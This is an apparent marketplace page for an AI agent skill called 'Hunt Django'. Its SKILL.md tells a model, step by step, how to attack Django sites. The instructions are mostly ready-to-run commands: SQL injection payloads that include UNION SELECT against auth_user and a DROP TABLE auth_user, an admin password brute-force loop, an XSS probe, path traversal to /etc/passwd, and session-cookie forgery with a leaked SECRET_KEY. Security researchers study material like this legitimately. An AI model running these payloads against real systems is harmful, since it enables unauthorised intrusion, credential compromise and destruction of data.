Hunt Django logo

Hunt Django

CommunityPopular
uphiago
hunt-django

Hunt Django-specific vulnerabilities: DRF permission gaps, ORM injection, and admin exploitation.

Overview

Publisheruphiago
Repositoryrecon-skills
Skill namehunt-django
Stars
1.3K
Forks
219
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by uphiago on GitHub. Read the source before you install it.

Installation

Install the Hunt Django AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
    https://github.com/uphiago/recon-skills/tree/main/redteam/hunt-django
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/uphiago/recon-skills.git /tmp/recon-skills
mkdir -p .claude/skills
cp -r /tmp/recon-skills/redteam/hunt-django .claude/skills/hunt-django
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Hunt Django in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Hunt Django on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Hunt Django is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Django Security Hunting

Hunt Django-specific vulnerabilities focusing on Django REST Framework (DRF) permission class gaps, ORM raw query injection, template injection via |safe and mark_safe, and Django admin panel exploitation. Django's batteries-included approach creates unique attack surface: admin interface, ORM query building, DRF serializers, Channels WebSockets, and Celery task queues.

When to Use

  • Target uses Python/Django (indicated by csrftoken cookie, /admin/ login, DRF browsable API, or __debug__toolbar).
  • DRF API endpoints with class-based views and permission classes.
  • Django Admin interface is reachable at /admin/ or custom path.
  • Celery task queues process user-supplied data.
  • Django Channels WebSocket endpoints exist alongside REST API.

Quick Detection

bash
# Django fingerprinting
curl --max-time 30 --connect-timeout 10 -skI "https://target.com/admin/login/" | grep -iE "csrftoken|sessionid|django"
curl --max-time 30 --connect-timeout 10 -sk "https://target.com" | grep -Eo 'csrftoken|__debug__|django'

Procedure

Phase 1 — DRF Permission Class Gaps

bash
# DRF list vs retrieve vs custom @action — each may have different permissions
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/users/"          # list: may be restricted
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/users/1/"        # retrieve: may leak individual
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/api/users/me/"       # me: may work without auth

# Custom @action endpoints often miss permission checks
# Test common DRF action names
for action in "export" "import" "bulk" "search" "stats" "report" \
              "activate" "deactivate" "reset-password" "send-invite"; do
  curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/users/$action/" \
    -w "%{http_code} — $action\n" -o /dev/null
done

Phase 2 — ORM Raw Query Injection

python
# Django raw() — direct SQL injection
requests.get("https://target.com/api/search/?q=' UNION SELECT username,password FROM auth_user--")

# Django extra() — where clause injection
requests.get("https://target.com/api/products/?category=1' OR '1'='1")

# RawSQL in annotations
requests.get("https://target.com/api/stats/?order=name'); DROP TABLE auth_user;--")

# Django cursor.execute() on user input
# Find via code review: cursor.execute(f"SELECT * FROM {table}")

Phase 3 — Django Admin Exploitation

bash
# Admin interface discovery
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/admin/"
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/django-admin/"
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/administrator/"

# Admin panel session cookie analysis
# If you obtain a session cookie, decode it
echo "SESSION_COOKIE" | python3 -c "
import base64,json,zlib,sys
cookie=sys.stdin.read().strip()
data=base64.b64decode(cookie.split('.')[0]+'==')
print(json.loads(zlib.decompress(data)))
"

# Django admin brute force (check for common credentials)
for pw in admin password django admin123 changeme; do
  curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/admin/login/?next=/admin/" \
    -d "username=admin&password=$pw&csrfmiddlewaretoken=TOKEN" \
    -c /tmp/jar.txt -w "%{http_code} — $pw\n" -o /dev/null
done

Phase 4 — Django Template Injection

bash
# mark_safe and |safe filter on user input
# If a view returns mark_safe(user_input), inject HTML/JS
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/contact/?message=<script>alert(1)</script>"

# Template injection via user-controlled template names
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/preview/?template=../../etc/passwd"

# SECRET_KEY leakage → signed cookie forgery
# If SECRET_KEY is leaked (env file, debug page, error)
python3 -c "
from django.core.signing import TimestampSigner
signer = TimestampSigner(key='LEAKED_SECRET_KEY')
print(signer.sign('admin'))
"

Phase 5 — Channels WebSocket Auth Parity

bash
# Django Channels WebSocket — may not enforce same auth as REST
# Test WS connection with and without session cookie
wscat -c "wss://target.com/ws/chat/" -H "Cookie: sessionid=INVALID"

# Async consumers without @database_sync_to_async may have race conditions
# Test parallel WS messages to trigger race

Pitfalls

  • DRF AllowAny ≠ misconfiguration. Verify the endpoint is supposed to be public before reporting.
  • Django admin brute force is heavily logged. Use with caution on production targets.
  • Template injection requires a sink. Django's template engine auto-escapes by default — |safe or mark_safe must be explicitly used.
  • SECRET_KEY must be actually leaked. Guessing or brute-forcing SECRET_KEY is computationally infeasible.

Verification

  1. DRF endpoint without IsAuthenticated returns data that should be restricted.
  2. ORM raw query injection produces a database error or data exfiltration.
  3. Django admin session cookie decoded successfully reveals user ID and session data.
  4. Template injection executes JavaScript or reads server files.

Related Skills

  • hunt-sqli — Django ORM raw query injection chains to full SQL injection.
  • hunt-ssti — Django template injection via user-controlled template names.
  • hunt-idor — DRF permission gaps leading to object-level access.

Frequently asked questions

What does the Hunt Django AI skill do?

Hunt Django-specific vulnerabilities: DRF permission gaps, ORM injection, and admin exploitation.

Why use Hunt Django on TypingMind?

Because you install it once and use it with any model. Hunt Django is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Hunt Django in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/uphiago/recon-skills/tree/main/redteam/hunt-django. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Hunt Django?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Hunt Django?

As many as you like. As long as a model supports skills, you can use Hunt Django with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Hunt Django AI skill free?

Yes. It is published on GitHub by uphiago under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇